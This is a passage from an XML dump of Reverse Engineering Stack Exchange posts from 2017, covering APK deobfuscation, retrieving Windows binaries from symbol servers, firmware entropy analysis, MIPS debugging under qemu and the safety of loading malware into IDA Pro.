they must just be activated, copied in or selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Wavecom CCCeditor show a great many digital modes and the names of the decoders. Once the right decoder was selected, one only have to adjust one or two parameters, mainly baud rate, to decode the signal. Not that I know how to do this, or where to find the decoders, but it gives an idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of this will come decoded text, which may be freeform or arranged according to some protocol such as for POCSAG or ACARS and that might need further interpretation. The Constellation display and Eye-diagram can be used to determine when the right baud and other adjustments are selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If given the OK. I can write a page or two on how I think we can proceed from here, but I suggest that you look in great detail at the Wavecom/ Sigmira / Sorcerer approaches, do a bit of disassembly and see if one can discover the various decoders and hopefully re-use them or upgrade them.&#xA;Them we simply need a GUI and GNURADIO could be a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;73 Henry ZS3HA &lt;/p&gt;&#xA;" OwnerUserId="20607" LastActivityDate="2017-06-22T07:53:59.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15626" PostTypeId="1" AcceptedAnswerId="15636" CreationDate="2017-06-22T10:49:47.373" Score="1" ViewCount="6380" Body="&lt;p&gt;Let's suppose that I have an APK file. I decompiled it but I have very obfuscated code. Is it possible to analize this APK in such way that application will be executed step by step (instruction after instruction with breakpoints between each instructions) and the debugger will show me equivalent of compiled instruction in my obfuscated source code that I will able to deobfuscate it (give methods correct names for example) on my own?&lt;/p&gt;&#xA;" OwnerUserId="20637" LastActivityDate="2017-06-23T04:27:53.600" Title="Decompiling and deobfuscating APK file" Tags="|debugging|decompilation|deobfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15627" PostTypeId="1" AcceptedAnswerId="15631" CreationDate="2017-06-22T11:20:51.977" Score="2" ViewCount="1749" Body="&lt;p&gt;If I have an executable file (let's say ntoskrnl.exe) I can obtain it's .pdb file from Microsoft. Is it possible to do the reverse? If I have a .pdb can I obtain the .exe? Or the only method is to hope it is somewhere on my symbols server and look it up by pdb signature and/or timedate stamp?&lt;/p&gt;&#xA;" OwnerUserId="20638" LastEditorUserId="20638" LastEditDate="2017-06-23T08:31:59.353" LastActivityDate="2017-06-24T17:13:36.497" Title="Obtain .exe/.dll/.sys for a given .pdb file" Tags="|windows|debugging|debugging-symbols|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15628" PostTypeId="2" ParentId="15627" CreationDate="2017-06-22T16:17:36.333" Score="1" Body="&lt;p&gt;Haven't tried it, but &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms680724&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SymFindExecutableImage&lt;/code&gt;&lt;/a&gt; &lt;em&gt;might&lt;/em&gt; work if the image is present on the symbol server. I know that WinDbg/Visual Studio are able in some cases download images referenced in the crash dumps, and they probably use this or similar function.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-06-22T16:17:36.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15629" PostTypeId="2" ParentId="14642" CreationDate="2017-06-22T18:05:35.423" Score="1" Body="&lt;p&gt;The architecture of the binary file cannot be reliably identified without access to the object code contained therein. In this case the object code is not accessible, since the binary is either compressed or encrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an entropy plot of the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ md5sum gxp1600fw.bin&#xA;b6a80bf243d66f3fabcc0a76d1420061  gxp1600fw.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2NDEo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2NDEo.png&quot; alt=&quot;binwalk entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, &lt;code&gt;binwalk&lt;/code&gt; does not detect any signatures in the file that typically demarcate a compressed block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not much can be said beyond speculating that this obfuscated file is probably composed of 6 different binaries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  f9 7a c9 23 67 78 70 31  36 30 30 72 65 63 6f 76  |.z.#gxp1600recov|&#xA;00000010  65 72 79 2e 62 69 6e 00  00 00 00 00 00 00 00 00  |ery.bin.........|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000040  00 00 00 00 67 78 70 31  36 30 30 63 6f 72 65 2e  |....gxp1600core.|&#xA;00000050  62 69 6e 00 00 00 00 00  00 00 00 00 00 00 00 00  |bin.............|&#xA;00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000080  00 00 00 00 67 78 70 31  36 30 30 62 61 73 65 2e  |....gxp1600base.|&#xA;00000090  62 69 6e 00 00 00 00 00  00 00 00 00 00 00 00 00  |bin.............|&#xA;000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000000c0  00 00 00 00 67 78 70 31  36 30 30 70 72 6f 67 2e  |....gxp1600prog.|&#xA;000000d0  62 69 6e 00 00 00 00 00  00 00 00 00 00 00 00 00  |bin.............|&#xA;000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000100  00 00 00 00 67 78 70 31  36 30 30 6c 63 6c 2e 62  |....gxp1600lcl.b|&#xA;00000110  69 6e 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |in..............|&#xA;00000120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000140  00 00 00 00 67 78 70 31  36 30 30 6f 65 6d 2e 62  |....gxp1600oem.b|&#xA;00000150  69 6e 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |in..............|&#xA;00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see 5 of the 6 segments in the entropy plot. &lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-06-22T18:05:35.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15630" PostTypeId="2" ParentId="14118" CreationDate="2017-06-22T18:39:49.660" Score="2" Body="&lt;p&gt;The firmware for YI home cameras is available at &lt;a href=&quot;https://www.yitechnology.com/yi-1080p-dome-firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.yitechnology.com/yi-1080p-dome-firmware&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware for version &lt;code&gt;1.9.1.0H_201706221046home_v200m&lt;/code&gt; is probably encrypted. Here is the entropy plot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OEJpY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEJpY.png&quot; alt=&quot;1.9.1.0H&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There does not even seem to be a header structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  31 2e 39 2e 31 2e 30 48  5f 32 30 31 37 30 36 32  |1.9.1.0H_2017062|&#xA;00000010  32 31 30 34 36 0a 0e 11  0f 1e 3a ef fa 57 21 4a  |21046.....:..W!J|&#xA;00000020  7e 48 38 36 79 04 01 98  6e 86 03 6e 0c 00 e2 0e  |~H86y...n..n....|&#xA;00000030  4b 42 8a c0 81 fd b1 58  63 5e 8c 26 38 23 98 15  |KB.....Xc^.&amp;amp;8#..|&#xA;00000040  29 d3 a8 ee 24 17 f3 8c  7c f2 f2 c7 6d 33 1c 59  |)...$...|...m3.Y|&#xA;00000050  6b 97 a3 da d1 4d b9 66  88 69 6c 0d 82 f0 b1 c2  |k....M.f.il.....|&#xA;00000060  ec ba db f5 6a 75 c2 ce  1c 7c b9 d0 bd e8 57 62  |....ju...|....Wb|&#xA;00000070  bf 2c 63 57 98 dc 9e cb  84 63 70 c2 9e 0c 90 ef  |.,cW.....cp.....|&#xA;00000080  e7 68 a0 ab f4 ae 58 22  7c 6c 2d f3 b3 8d ac 49  |.h....X&quot;|l-....I|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason that others have had success acquiring the root file systems of other camera models is likely due to the fact that the firmware binaries of some other models are not encrypted. For example, the firmware for &quot;YI Home Camera&quot;, &lt;code&gt;1.8.7.0A_201702081101home&lt;/code&gt;, is simply compressed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5F40j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5F40j.png&quot; alt=&quot;YI Home camera firmware entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk 1.8.7.0A_201702081101home&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             uImage header, header size: 64 bytes, header CRC: 0xC7CDCF8F, created: 2017-02-08 03:24:11, image size: 8402648 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xCAD09C83, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: &quot;7518-hi3518-home&quot;&#xA;64            0x40            JFFS2 filesystem, little endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The JFFS2 file system can be extracted with the &lt;a href=&quot;https://github.com/sviehb/jefferson&quot; rel=&quot;nofollow noreferrer&quot;&gt;jefferson plugin for binwalk&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_1.8.7.0A_201702081101home.extracted $ ll&#xA;total 8228&#xA;drwxr-xr-x 3 user01 user01    4096 Jun 22 14:31 ./&#xA;drwxr-xr-x 3 user01 user01    4096 Jun 22 14:31 ../&#xA;-rw-r--r-- 1 user01 user01 8402648 Jun 22 14:31 40.jffs2&#xA;drwxr-xr-x 2 user01 user01    4096 Jun 22 14:31 jffs2-root/&#xA;&#xA;/_1.8.7.0A_201702081101home.extracted $ file 40.jffs2 &#xA;40.jffs2: Linux jffs2 filesystem data little endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same cannot be done with &quot;YI Dome Camera&quot; firmware due to encryption of the entire file.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-06-22T18:39:49.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15631" PostTypeId="2" ParentId="15627" CreationDate="2017-06-22T21:26:11.893" Score="3" Body="&lt;p&gt;the binaries (exe , sys , dll ) are fetched from ms symbol servers by their time_date_stamp and size&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the windbg command !chkimg normally fetches the binaries for minidumps and it uses &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680726(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;SymFindFileInPath&lt;/a&gt; Function  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which takes three ids which are different for pdbs and binaries you may take a look at the Remarks Section Of the function for the id definition&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is no reverse match afaik ie given a pdb you cant retrieve the timestamp and size of the binary which you would require for a successfull retrieval&lt;/p&gt;&#xA;&#xA;&lt;p&gt;only recourse left is to grep the local drives for similar named binary &lt;/p&gt;&#xA;&#xA;&lt;p&gt;using dumpbin  and the windbg package tool dbh.exe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;note there are two pdb in the cache while i have only one binary matching the second pdb in my system note carefully the age is appended to the guid in the srvind output while the age is printed in a seperate line in dump bin out put &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now that you know the file you can fetch a pristine copy if needed from ms symbols server by dumping the time stamp / size and appending them in to a string and calling httpget with useragent as microsoft-symbol-server (or whatever it is now (my memory of the useragent is several years old grab a network packet for a latest user agent string)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dbh srvind e:\SYMBOLS\cdfs.pdb\6FA7C1B9FB96447B8608B2F31CEADB312\cdfs.pdb&#xA;&#xA;e:\SYMBOLS\cdfs.pdb\6FA7C1B9FB96447B8608B2F31CEADB312\cdfs.pdb : 6FA7C1B9FB96447&#xA;B8608B2F31CEADB312&#xA;&#xA;C:\&amp;gt;dbh srvind e:\SYMBOLS\cdfs.pdb\D457507255544405BD9A5C4D3EBCCBAE2\cdfs.pdb&#xA;&#xA;e:\SYMBOLS\cdfs.pdb\D457507255544405BD9A5C4D3EBCCBAE2\cdfs.pdb : D45750725554440&#xA;5BD9A5C4D3EBCCBAE2&#xA;&#xA;C:\&amp;gt;dumpbin /headers &quot;c:\Windows\System32\drivers\cdfs.sys&quot; | grep -i rsds&#xA;    4A5BBF12 cv            21 000028C0     1CC0    Format: RSDS, {D4575072-5554-&#xA;4405-BD9A-5C4D3EBCCBAE}, 2, cdfs.pdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is a dumpbin versus actual dump and !itoldyouso output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /headers &quot;c:\Windows\System32\drivers\cdfs.sys&quot; | grep -i &quot;size of i&#xA;mage&quot;&#xA;           16000 size of image&#xA;&#xA;C:\&amp;gt;dumpbin /headers &quot;c:\Windows\System32\drivers\cdfs.sys&quot; | grep -i date&#xA;        4A5BBF12 time date stamp Tue Jul 14 04:41:14 2009&#xA;&#xA;C:\&amp;gt;cdb -z c:\Windows\System32\drivers\cdfs.sys&#xA;&#xA;&#xA;0:000&amp;gt; !itoldyouso cdfs&#xA;&#xA;cdfs.sys&#xA;    Timestamp: 4A5BBF12&#xA;  SizeOfImage: 16000&#xA;          pdb: cdfs.pdb&#xA;      pdb sig: D4575072-5554-4405-BD9A-5C4D3EBCCBAE&#xA;          age: 2&#xA;&#xA;Loaded pdb is e:\symbols\cdfs.pdb\D457507255544405BD9A5C4D3EBCCBAE2\cdfs.pdb&#xA;&#xA;cdfs.pdb&#xA;      pdb sig: D4575072-5554-4405-BD9A-5C4D3EBCCBAE&#xA;          age: 2&#xA;&#xA;MATCH: cdfs.pdb and cdfs.sys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is a network packet header with the latest user agent string for a binary fetch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;Host Name&quot;:&quot;msdl.microsoft.com&quot;,&#xA;&quot;Method&quot;:&quot;GET&quot;,&#xA;&quot;Path&quot;:&quot;/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_&quot;,&#xA;&quot;User Agent&quot;:&quot;Microsoft-Symbol-Server/10.0.0.0&quot;,&#xA;&quot;Response Code&quot;:&quot;200&quot;,&#xA;&quot;Response String&quot;:&quot;OK&quot;,&#xA;&quot;Content Type&quot;:&quot;application/octet-stream&quot;,&#xA;&quot;Referer&quot;:&quot;&quot;,&#xA;&quot;Content Encoding&quot;:&quot;&quot;,&#xA;&quot;Transfer Encoding&quot;:&quot;&quot;,&#xA;&quot;Server&quot;:&quot;Microsoft-IIS/8.5&quot;,&#xA;&quot;Content Length&quot;:&quot;295985&quot;,&#xA;&quot;Connection&quot;:&quot;&quot;,&#xA;&quot;Cache Control&quot;:&quot;public&quot;,&#xA;&quot;Location&quot;:&quot;&quot;,&#xA;&quot;Server Time&quot;:&quot;6/24/2017 4:37:26 PM&quot;,&#xA;&quot;Expiration Time&quot;:&quot;&quot;,&#xA;&quot;Last Modified Time&quot;:&quot;12/16/2010 8:20:21 AM&quot;,&#xA;&quot;Cookie&quot;:&quot;&quot;,&#xA;&quot;Client Address&quot;:&quot;xxx.xxx.xx.xx:xxxxx&quot;,&#xA;&quot;Server Address&quot;:&quot;204.79.197.219:80&quot;,&#xA;&quot;Request Time&quot;:&quot;00:07:23.331&quot;,&#xA;&quot;Response Time&quot;:&quot;1444 ms&quot;,&#xA;&quot;URL&quot;:&quot;http://msdl.microsoft.com/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the timestamp and size details grabbed from list modules output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dx -r0 @$lmvmcalc = Debugger.Utility.Control.ExecuteCommand(&quot;lmvm calc&quot;)&#xA;@$lmvmcalc = Debugger.Utility.Control.ExecuteCommand(&quot;lmvm calc&quot;)                &#xA;0:000&amp;gt; dx -r0 @$lmvmcalc[8] ; dx -r0 @$lmvmcalc[6]&#xA;@$lmvmcalc[8]    :     ImageSize:        000C0000&#xA;@$lmvmcalc[6]    :     Timestamp:        Sat Nov 20 15:10:45 2010 (4CE7979D)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a fetch without symsrv.dll using wget and comparing with local file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;md testfetchwithwget&#xA;&#xA;C:\&amp;gt;cd testfetchwithwget&#xA;&#xA;C:\testfetchwithwget&amp;gt;ls -l&#xA;total 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wgetting with useragent and debug spew on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\testfetchwithwget&amp;gt;wget -d -c -U=&quot;Microsoft-Symbol-Server/10.0.0.0&quot; &quot;http://msdl.microsoft.com/dow&#xA;nload/symbols/calc.exe/4CE7979Dc0000/calc.ex_&quot;&#xA;Setting --continue (continue) to 1&#xA;Setting --user-agent (useragent) to =Microsoft-Symbol-Server/10.0.0.0&#xA;DEBUG output created by Wget 1.12.1-dev Mar 04 2010 (mainline-013c8e2f5997) on Windows-MinGW.&#xA;&#xA;--2017-06-24 22:35:20--  http://msdl.microsoft.com/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_&#xA;Resolving msdl.microsoft.com... seconds 0.00, 204.79.197.219&#xA;Caching msdl.microsoft.com =&amp;gt; 204.79.197.219&#xA;Connecting to msdl.microsoft.com|204.79.197.219|:80... seconds 0.00, connected.&#xA;Created socket 204.&#xA;Releasing 0x00893e38 (new refcount 1).&#xA;&#xA;---request begin---&#xA;GET /download/symbols/calc.exe/4CE7979Dc0000/calc.ex_ HTTP/1.0&#xA;User-Agent: =Microsoft-Symbol-Server/10.0.0.0&#xA;Accept: */*&#xA;Host: msdl.microsoft.com&#xA;Connection: Keep-Alive&#xA;&#xA;---request end---&#xA;HTTP request sent, awaiting response...&#xA;---response begin---&#xA;HTTP/1.1 200 OK&#xA;Cache-Control: public&#xA;Content-Length: 295985&#xA;Content-Type: application/octet-stream&#xA;Last-Modified: Thu, 16 Dec 2010 08:20:21 GMT&#xA;Accept-Ranges: bytes&#xA;ETag: &quot;7367f914fa9ccb1:0&quot;&#xA;Server: Microsoft-IIS/8.5&#xA;X-MSEdge-Ref: Ref A: A80831FD9CD34C76B235D9794A671A8B Ref B: BOM02EDGE0109 Ref C: Sat Jun 24 10:05:3&#xA;3 2017 PST&#xA;X-MSEdge-Ref-OriginShield: Ref A: 5B1085618AB14BDBA7B8195D249E26E2 Ref B: BOM01EDGE0317 Ref C: Sat J&#xA;un 24 07:42:52 2017 PST&#xA;Date: Sat, 24 Jun 2017 17:05:33 GMT&#xA;Connection: keep-alive&#xA;&#xA;---response end---&#xA;200 OK&#xA;Registered socket 204 for persistent reuse.&#xA;Length: 295985 (289K) [application/octet-stream]&#xA;Saving to: `calc.ex_'&#xA;&#xA;100%[==========================================================&amp;gt;] 295,985     15.1K/s   in 25s&#xA;&#xA;2017-06-24 22:35:51 (11.3 KB/s) - `calc.ex_' saved [295985/295985]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;comparing     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\testfetchwithwget&amp;gt;ls -l&#xA;total 292&#xA;-rw-rw-rw-  1 HP 0 295985 2010-12-16 13:50 calc.ex_&#xA;&#xA;C:\testfetchwithwget&amp;gt;expand -R calc.ex_ calc.exe&#xA;Microsoft (R) File Expansion Utility  Version 6.1.7600.16385&#xA;Copyright (c) Microsoft Corporation. All rights reserved.&#xA;&#xA;Adding C:\testfetchwithwget\calc.exe to Extraction Queue&#xA;&#xA;Expanding Files ....&#xA;&#xA;Expanding Files Complete ...&#xA;Cannot expand a file onto itself: calc.exe.&#xA;&#xA;&#xA;C:\testfetchwithwget&amp;gt;ls -l&#xA;total 1052&#xA;-rw-rw-rw-  1 HP 0 295985 2010-12-16 13:50 calc.ex_&#xA;-rwxrwxrwx  1 HP 0 776192 2010-12-15 20:21 calc.exe&#xA;&#xA;C:\testfetchwithwget&amp;gt;ls -l c:\Windows\System32\calc.exe&#xA;-rwxrwxrwx  2 HP 0 776192 2010-11-20 04:16 c:\Windows\System32\calc.exe&#xA;&#xA;C:\testfetchwithwget&amp;gt;fc /b  c:\Windows\System32\calc.exe .\calc.exe&#xA;Comparing files C:\WINDOWS\SYSTEM32\calc.exe and .\CALC.EXE&#xA;FC: no differences encountered&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-06-24T17:13:36.497" LastActivityDate="2017-06-24T17:13:36.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15632" PostTypeId="1" AcceptedAnswerId="15637" CreationDate="2017-06-23T02:27:53.850" Score="4" ViewCount="1321" Body="&lt;p&gt;In other words, Is it safe to load a malware into IDA Pro on my personal machine? Would IDA Pro run the sample or load it into memory? &lt;/p&gt;&#xA;" OwnerUserId="20356" LastActivityDate="2017-06-23T04:31:47.887" Title="Is it safe to load a virus to IDA Pro?" Tags="|ida|disassembly|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15633" PostTypeId="1" CreationDate="2017-06-23T04:02:44.500" Score="1" ViewCount="1324" Body="&lt;p&gt;I have a MIPS 32-bit MSB binary and I can disassemble the code with IDA Pro and decompile it successfully with ReTargetable Decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to understand the binary much better, I need to debug the binary to understand a few subroutines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Ubuntu 64-bit (version 14.04). I have followed the instructions provided here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8917/2673&quot;&gt;https://reverseengineering.stackexchange.com/a/8917/2673&lt;/a&gt; for installing qemu, binfmt, gdb-multiarch, MIPS libraries and cross compiling tool chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cross compiler installation error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get an error while trying to install gcc-4.4-mipsel-linux-gnu on Ubuntu 14.04&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gcc-4.4-mipsel-linux-gnu depends on cpp-4.4-mipsel-linux-gnu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to install cpp-4.4-mipsel-linux-gnu, I get an error that libgmp32c2 is not installed. And when I try to install libgmp3c2 using apt-get, it doesn't find the package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can find several other packages like libgmp3c2-* however, cannot find the specific, libgmp3c2 package which cpp-4.4-mipsel-linux-gnu needs. And I have even added the recommended repositories to /etc/apt/sources.list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I thought we need to install the cross platform compiling tools only if I need to compile the program for the target architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error in Execution of MIPS Binary&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I tried to execute the MIPS binary and it crashes. When I run strace on it, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NeonFlash:~$ qemu-mips -strace ./test &#xA;61294 brk(NULL) = 0x00412000&#xA;61294 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x767ca000&#xA;61294 uname(0x76ffeae8) = 0&#xA;61294 access(&quot;/etc/ld.so.nohwcap&quot;,F_OK) = -1 errno=2 (No such file or directory)&#xA;61294 access(&quot;/etc/ld.so.preload&quot;,R_OK) = -1 errno=2 (No such file or directory)&#xA;61294 open(&quot;/etc/ld.so.cache&quot;,O_RDONLY) = 3&#xA;61294 fstat64(3,0x76ffe6d0) = 0&#xA;61294 mmap(NULL,104789,PROT_READ,MAP_PRIVATE,3,0) = 0x767b0000&#xA;61294 close(3) = 0&#xA;qemu: uncaught target signal 11 (Segmentation fault) - core dumped&#xA;Segmentation fault (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below are the details when I tried to use gdb with the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NeonFlash$ qemu-mips -g 12345 ./test &amp;amp;&#xA;[1] 60181&#xA;NeonFlash$ gdb-multiarch ./test &#xA;GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1&#xA;Copyright (C) 2014 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xA;and &quot;show warranty&quot; for details.&#xA;This GDB was configured as &quot;x86_64-linux-gnu&quot;.&#xA;Type &quot;show configuration&quot; for configuration details.&#xA;For bug reporting instructions, please see:&#xA;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;.&#xA;Find the GDB manual and other documentation resources online at:&#xA;&amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.&#xA;For help, type &quot;help&quot;.&#xA;Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...&#xA;Reading symbols from ./test...(no debugging symbols found)...done.&#xA;(gdb) set arch mips&#xA;The target architecture is assumed to be mips&#xA;(gdb) target remote localhost:12345&#xA;Remote debugging using localhost:12345&#xA;warning: Unable to find dynamic linker breakpoint function.&#xA;GDB will be unable to debug shared library initializers&#xA;and track explicitly loaded dynamic code.&#xA;0x767cb880 in ?? ()&#xA;(gdb) x/i $pc&#xA;=&amp;gt; 0x767cb880:  move    t9,ra&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I even tried remote debugging the binary using IDA Pro by running qemu-mips as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-mips -E REMOTE_ADDR=&amp;lt;IP_address_of_machine_with_IDA_PRO&amp;gt; -g 12345 ./test &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I set a breakpoint on the main function, it crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to install qemu-system or qemu-user should be enough for debugging MIPS binaries?&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2017-06-23T04:02:44.500" Title="Debugging MIPS Binaries on Ubuntu 64-bit (version 14.04)" Tags="|mips|qemu|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15636" PostTypeId="2" ParentId="15626" CreationDate="2017-06-23T04:27:53.600" Score="3" Body="&lt;p&gt;Yes, this is indeed possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro, starting from version 6.6 supports source code level debugging for Dalvik Bytecode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more details here: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_dalvik.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/debugging_dalvik.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you could use dex2jar to get the Java code from the APK. Then you can manually deobfuscate the code by writing short Java Programs which will decode/decrypt/deobfuscate sections of the code.&lt;/p&gt;&#xA;" OwnerUserId="8158" LastActivityDate="2017-06-23T04:27:53.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15637" PostTypeId="2" ParentId="15632" CreationDate="2017-06-23T04:31:47.887" Score="6" Body="&lt;p&gt;At first, it is always recommended to analyze viruses inside an Isolated environment. So, you could install IDA Pro in a Virtualized Environment such as VMWare Work Station and load the binary in IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro by default will only perform disassembly of the binary. It means, static analysis or in other words, the code of the binary won't be executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are several scenarios to consider while analyzing malicious binaries with IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The binary could exploit an unknown vulnerability in IDA Pro in such a way that when it is loaded by IDA Pro, the malicious code can execute. I haven't seen such a vulnerability yet however we must consider it while analyzing malicious binaries.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using IDA Pro for debugging the binary, then it means the code will execute and so you should perform the 